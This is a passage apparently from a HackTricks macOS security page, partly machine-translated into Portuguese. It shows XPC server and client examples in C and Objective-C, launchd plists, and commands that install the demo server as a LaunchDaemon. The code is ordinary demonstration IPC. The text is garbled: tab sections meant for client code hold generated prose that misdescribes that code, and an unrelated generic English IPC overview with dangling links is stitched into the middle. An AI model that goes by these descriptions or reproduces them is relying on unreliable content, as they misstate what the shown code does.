static void handle_connection(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}
int main(int argc, const char *argv[]) {
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
}
});
xpc_connection_resume(service);
dispatch_main();
return 0;
}
```
{% tab title="xpc_client.c" %}
O arquivo `xpc_client.c` é um exemplo de código em C que demonstra como usar a comunicação interprocesso (IPC) no macOS usando o framework XPC. O XPC é um mecanismo de IPC fornecido pelo macOS que permite que processos se comuniquem entre si de forma segura e eficiente.
O código começa incluindo os cabeçalhos necessários e definindo algumas constantes. Em seguida, ele define a função `main`, que é o ponto de entrada do programa.
Dentro da função `main`, o código cria uma conexão XPC usando a função `xpc_connection_create`, especificando o identificador da conexão e o nome do serviço. Em seguida, ele define um manipulador de eventos usando a função `xpc_connection_set_event_handler`, que será chamado sempre que um evento ocorrer na conexão.
O código também define um bloco de código para lidar com eventos de resposta. Quando uma resposta é recebida, o bloco de código é executado e exibe a resposta na saída padrão.
Em seguida, o código envia uma mensagem para o serviço usando a função `xpc_connection_send_message`, passando a conexão e a mensagem como argumentos.
Finalmente, o código inicia o loop de execução da conexão XPC usando a função `xpc_connection_resume` e aguarda até que a conexão seja encerrada.
Este exemplo de código demonstra como usar a comunicação interprocesso no macOS usando o framework XPC. Ele pode ser usado como ponto de partida para desenvolver aplicativos que se comunicam com outros processos de forma segura e eficiente.
{% endtab %}
```c
// gcc xpc_client.c -o xpc_client
#include
int main(int argc, const char *argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});
xpc_connection_resume(connection);
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");
xpc_connection_send_message(connection, message);
dispatch_main();
return 0;
}
```
{% tab title="xyz.hacktricks.service.plist" %}
```xml
Label
xyz.hacktricks.service
MachServices
xyz.hacktricks.service
Program
/tmp/xpc_server
ProgramArguments
/tmp/xpc_server
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client
# Save server on it's location
cp xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
# Call client
./xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
### Exemplo de Código Objective-C
{% tabs %}
{% tab title="oc_xpc_server.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
@interface MyXPCObject : NSObject
@end
@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end
@interface MyDelegate : NSObject
@end
@implementation MyDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
MyXPCObject *my_object = [MyXPCObject new];
newConnection.exportedObject = my_object;
[newConnection resume];
return YES;
}
@end
int main(void) {
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
id delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];
sleep(10); // Fake something is done and then it ends
}
```
{% tab title="oc_xpc_client.m" %}
O arquivo `oc_xpc_client.m` contém um exemplo de código em Objective-C que demonstra como criar um cliente XPC (Inter-Process Communication) no macOS. O XPC é um mecanismo de comunicação entre processos que permite que aplicativos se comuniquem uns com os outros de forma segura e eficiente.
O código começa importando o framework `Foundation` e `xpc`, que são necessários para trabalhar com XPC no macOS. Em seguida, é definida uma função `main` que será o ponto de entrada do programa.
Dentro da função `main`, é criada uma conexão XPC usando a função `xpc_connection_create`. Em seguida, é definido um bloco de código que será executado quando a conexão for estabelecida com sucesso. Nesse bloco, é definida uma função `handler` que será chamada sempre que uma mensagem for recebida do servidor.
Dentro da função `handler`, é verificado o tipo da mensagem recebida usando a função `xpc_get_type`. Se a mensagem for do tipo `XPC_TYPE_DICTIONARY`, é extraído o valor da chave `message` usando a função `xpc_dictionary_get_string`. Em seguida, é exibida uma mensagem na saída padrão com o valor da chave `message`.
Por fim, é chamada a função `xpc_connection_resume` para iniciar a comunicação com o servidor e a função `dispatch_main` para iniciar o loop de eventos do programa.
Este exemplo de código demonstra como criar um cliente XPC básico no macOS. É importante ressaltar que o código fornecido é apenas um exemplo e pode ser necessário adaptá-lo para atender às necessidades específicas do seu aplicativo.
{% endtab %}
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
int main(void) {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];
[[NSRunLoop currentRunLoop] run];
return 0;
}
```
# Mac OS IPC (Inter-Process Communication)
## Introduction
Inter-Process Communication (IPC) is a mechanism that allows different processes to communicate with each other and share data. In Mac OS, IPC is used extensively for various purposes, such as inter-application communication, client-server communication, and communication between different components of the operating system.
Understanding how IPC works in Mac OS is crucial for both developers and security professionals. Developers need to know how to implement IPC mechanisms correctly and securely, while security professionals need to understand the potential security risks associated with IPC and how to mitigate them.
This guide provides an overview of IPC in Mac OS, including the different IPC mechanisms available, their characteristics, and potential security vulnerabilities. It also covers best practices for implementing secure IPC in Mac OS applications.
## Table of Contents
- [IPC Mechanisms in Mac OS](ipc-mechanisms.md)
- [Mach Ports](mach-ports.md)
- [XPC Services](xpc-services.md)
- [Distributed Objects](distributed-objects.md)
- [Security Considerations](security-considerations.md)
- [Best Practices](best-practices.md)
## Conclusion
IPC is a fundamental concept in Mac OS and plays a crucial role in enabling communication between different processes. Understanding how IPC works and the potential security risks associated with it is essential for both developers and security professionals.
By following best practices and implementing secure IPC mechanisms, developers can ensure that their applications are not vulnerable to IPC-related attacks. Security professionals can also use this knowledge to identify and mitigate potential security vulnerabilities in Mac OS applications.
## References
- [Apple Developer Documentation: Inter-Process Communication](https://developer.apple.com/documentation/interprocesscommunication)
- [Apple Developer Documentation: Mach Ports](https://developer.apple.com/documentation/kernel/mach_ports)
- [Apple Developer Documentation: XPC Services](https://developer.apple.com/documentation/xpc)
- [Apple Developer Documentation: Distributed Objects](https://developer.apple.com/documentation/distributedobjects)
```xml
Label
xyz.hacktricks.svcoc
MachServices
xyz.hacktricks.svcoc
Program
/tmp/oc_xpc_server
ProgramArguments
/tmp/oc_xpc_server
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
# Save server on it's location
cp oc_xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
# Call client
./oc_xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
## Referências
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
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